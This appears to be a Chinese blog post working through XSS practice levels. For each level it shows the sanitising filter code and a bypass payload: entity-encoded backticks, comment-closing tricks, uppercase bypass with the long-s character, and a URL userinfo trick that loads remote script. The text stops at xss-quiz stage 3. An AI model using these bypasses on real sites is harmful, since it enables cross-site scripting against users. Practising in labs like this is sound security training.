0x00 前言
闲着也是闲着,就找几个靶场来测测基本功,结果才过几关就卡住了….本篇包含以下元素:
- 各种XSS靶场中让我卡住的地方
- 新的思考
事实证明,即使学过的漏洞,也还是会有很多姿势你没掌握。温故而知新?虽然这些姿势根本就没有会过😋
0x01 是什么蒙蔽了我的双眼?
xss-demo 第四关
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号和反引号,但是我居然忘了还能html编码….Payload如下:
#alert`1`,写成96的时候,莫名奇妙的被渲染了
<img src=x onerror='alert&#九十六;1&#九十六;'>
HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn)
xss-demo 第五关
菜的扣脚….居然又被卡住了
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
学到了另一种注释的方法:
<!--xss-->
<!--xss--!>
所以payload为:
--!><script>alert`1`</script><!--
xss-demo 第六关
没卡住, 但是感觉值得记录一下
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
想到了换行,但是不知道怎么在input里触发onerror,当然你用别的onclick之类也是可以的,这里只是记录一下:
<input value=1 type=image src onerror
=alert(1) type="text">
使用type,指定为image就可以像img标签一样的去触发了
xss-demo 第七关
…理所当然的卡住了
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
正则的意思是匹配<非大于号内容>或</非大于号内容>,注意到这里的^表示取反。Payload为:
<article><img src=x onerror="alert`1`"</article>
没闭合居然也可以被渲染,原因不明…好像也只能在article里
xss-demo 第十关
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
必须以http(s)://www.segmentfault.com
开头, 但是没限制结尾,但是这里又进行了实体编码的替换,好像也没办法闭合…有个小技巧是,当使用https://xxx.com@chenlvtang.top
的时候,会直接访问最后的chenlvtang.top
(另外一个小技巧是,访问https://xxx.com.chenlvtang.top
也会访问chenlvtang.top,但是试了一下,只在搜索栏有用,对src没用),所以我们可以用xxx.com@chenlvtang.top/hacker.js的形式,来引入恶意的js,其内容为:
alert`1`
//something else
在火狐中是可以成功执行的,但是在使用谷歌内核的浏览器并没有成功执行,在控制台中告诉了我们原因:
xss-demo 第十一关
没把我难住😋,但还是记录一下
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
把输入全部转为大写,一开始天真的以为alert变成ALERT没事,结果真就不能执行,但是很快的想到了使用编码绕过捏😋,我这里使用的是使用svg加上HTML实体编码:
<svg><SCRIPT>alert&#九十六;1&#九十六;</SCRIPT></svg>
xss-demo 第十三关
…又
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
很自然的可以想到,换行绕过注释符号,但是又过滤了单引号,所以最后这里无法闭合,会导致语法错误而无法成功执行,而反斜杠也过滤了,不能注释,但是这里又有一个小技巧捏(麻了):可以使用-->
来注释(但是要注意不要和script标签同一行),之前从来没见过,所以这里的payload为:
<script>
// alert('
onerror=alert`1`
-->')
</script>
xss-demo 第十四关
低情商: 菜狗;高情商:靶场质量很高。
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
一开始尝试了< script>
想绕过,发现无法解析…然后就没有然后了,直接看答案: ſ 古英语中的s的写法, 转成大写是正常的s。🐂所以我们改一下之前svg的payload:
<ſvg><ſCRIPT>alert&#九十六;1&#九十六;</SCRIPT></svg>
xss-demo 第十五关
这一关居然没用平滑的做出来,服了自己
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
因为html实体转码后,还是在html标签中,所以即使转码成html实体后也同样不影响执行,所以其实这里的payload很简单,只要闭合就行了:
1');alert(1);//
xss-quiz Stage #3
搞了半天也没成功,看了别人的才知道,居然要抓包,又学到了新的姿势捏。这一关长这样:
输入框测了半天,没有发现漏洞,就只有第二个选择国家的列表了,抓包修改: